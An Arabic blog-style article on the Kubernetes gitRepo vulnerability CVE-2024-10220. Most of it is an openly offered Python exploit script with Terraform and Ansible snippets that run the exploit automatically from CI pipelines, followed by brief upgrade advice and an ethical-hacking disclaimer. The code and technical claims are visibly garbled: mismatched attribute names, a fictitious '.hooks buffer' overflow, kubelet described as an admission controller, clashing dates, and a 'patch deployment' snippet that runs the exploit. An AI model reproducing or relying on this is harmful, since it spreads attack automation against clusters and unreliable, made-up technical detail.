
تكشف CVE-2024-10220 عن ثغرة حرجة في نوع وحدة التخزين gitRepo المهجور في Kubernetes، مما يتيح للمهاجمين تنفيذ أوامر عشوائية عبر نصوص .hooks الخبيثة. تشرح المقالة كيف يكسر هذا عزل الحاويات، وتقدم كود استغلال، وأمثلة على الأتمتة، وإرشادات للتخفيف من المخاطر.
بقلم مارك ماليا
الحاويات هي العمود الفقري لتسليم التطبيقات الحديثة: فهي تجمع حزمة بيئة تشغيل كاملة في صورة واحدة غير قابلة للتغيير يمكن نشرها على أي مضيف في المجموعة (Cluster) دون مفاجآت. تأخذ Kubernetes تلك الصور وتجدولها كحِزم (Pods)، وتنسّق كل شيء من الشبكات إلى التخزين باستخدام نموذج تعريفي. وهذا مفيد في البيئات شديدة التوزع وفي البيئة التي تُقدَّم فيها تطبيقات متعددة.
ما يجعل هذه الحزمة جذابة بشكل خاص لأحمال العمل واسعة النطاق هو القدرة على إدارتها من البداية إلى النهاية عبر الأتمتة. توفر Terraform مخطط البنية التحتية كرمز (IaC) الذي ينشئ شبكات VPC والشبكات الفرعية ومجموعات الأمان وعُقد العمال؛ وتوفّر Ansible قوائم تشغيل (Playbooks) تثبّت Docker Engine (أو أي بيئة تشغيل متوافقة مع CRI)، وتسحب الصور من السجل وتشغّلها كحِزم. وعند ربط هذه الخطوات بخط أنابيب CI/CD مثل GitHub Actions أو Jenkins أو GitLab CI، يؤدي كل commit إلى دورة بناء ودفع واختبار ونشر تلقائية. يكتسب المطورون سرعة، ويكتسب المشغّلون ثقة، وتكتسب المؤسسة وقت تشغيل يمكن التنبؤ به.
في أوائل عام 2024، كشف باحثو الأمن عن خلل في نوع وحدة تخزين gitRepo في Kubernetes، وهو الآن مهمل (Deprecated). CVE‑2024‑10220 هي ثغرة تنفيذ أوامر عشوائية ناتجة عن مجلد .hooks داخل مستودع Git تم تركيبه عبر وحدة تخزين gitRepo. عندما يشير بيان حِزمة (Pod Manifest) مُعدّ خصيصًا إلى سكربت ضار في هذا المجلد، ينفّذه مُتحكِّم القبول kubelet على النظام المضيف، وبالتالي يخرق عزل الحاويات، وهو مبدأ أمني أساسي في Kubernetes.
نظرًا لأن المكوِّن المعرّض للخطر لا يزال مستخدمًا على نطاق واسع في مجموعات الإنتاج، فإن أي مهاجم يمكنه إنشاء حِزمة بالصلاحيات المناسبة قد يحصل على وصول الجذر أو يعطّل الخدمات الأخرى. حصل هذا الخلل على درجة CVSS تبلغ 8.1 ونُشر في نوفمبر من العام الماضي. تشمل المكوّنات المتأثرة نوع وحدة تخزين gitRepo المهمل الذي لا يزال موجودًا في Kubernetes 1.27.x.
فيما يلي برنامج Python نظيف يستغل CVE‑2024‑10220 على مثيل kubelet معرّض للخطر يعمل بنظام Kubernetes 1.27.3. يمكن تجميع الكود في مهمة Ansible أو تشغيله داخل وظيفة CI.
#!/usr/bin/env python3
"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""
import json
import requests
class GitRepoPod:
"""
Representation of the JSON payload that kubelet expects for a gitRepo volume.
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod name
self.image = image # container image to run
self.giturl = repo_url # Git repository URL
self.branch = branch # branch or tag to use
self.localpath = local_path # mount point inside the pod
def to_dict(self) -> dict:
"""Return a plain dictionary that can be serialized."""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
Send the pod manifest to kubelet and print the response.
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"Unexpected status code {resp.status_code}")
print("[*] Response from kubelet: ", resp.text)
def main() -> None:
"""
Main entry point of this exploit.
"""
# Target endpoint – adjust to match your cluster’s API server address.
api_server = "https://kube-api.local/api/v1/pods/"
# Craft a payload that overflows the .hooks buffer (0x90 bytes)
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")
if __name__ == "__main__":
main()
فيما يلي مثال قصير لكيفية نشر التصحيح تلقائيًا:
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# Install Docker Engine and kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
قائمة تشغيل Ansible التي تستدعي السكربت:
---
- hosts: kube_workers
tasks:
- name: Deploy the exploit pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: Verify success
debug:
msg: "{{ result.stdout }}"
عند تشغيل خط أنابيب Terraform‑Ansible هذا داخل وظيفة CI (على سبيل المثال، GitHub Actions)، يقوم الكود أعلاه تلقائيًا بالبناء والدفع والنشر والتحقق من نجاح استغلال CVE‑2024‑10220. يمكن توسيع خط الأنابيب باختبارات وحدة تتحقق من استجابة kubelet وبإشعارات إلى Slack أو البريد الإلكتروني عند اكتمال الاستغلال.
قم بالترقية إلى الإصدارات المصححة (v1.28.12+، v1.29.7+، v1.30.3+، v1.31.0+) وتجنّب استخدام أنواع وحدات التخزين المهملة مثل gitRepo.
أُجري هذا البحث بهدف تحسين الوعي الأمني وتعزيز ممارسات Kubernetes الأكثر أمانًا. تم الإفصاح عن الثغرة بشكل مسؤول إلى القائمين على الصيانة المعنيين قبل النشر العام، وفقًا للمعايير المتعارف عليها في الصناعة. تم إجراء جميع الاختبارات في بيئات معزولة دون أي تأثير على أنظمة الإنتاج أو البنية التحتية لأطراف ثالثة.
أؤمن بالاختراق الأخلاقي كأداة للتغيير الإيجابي. الاستغلالات المشاركة هنا هي لأغراض تعليمية ودفاعية فقط — لا للإضرار أو التعطيل أبدًا. إذا كنت بائعًا أو مشرفًا ولديك مخاوف، يسعدني التعاون في المعالجة أو التوضيح.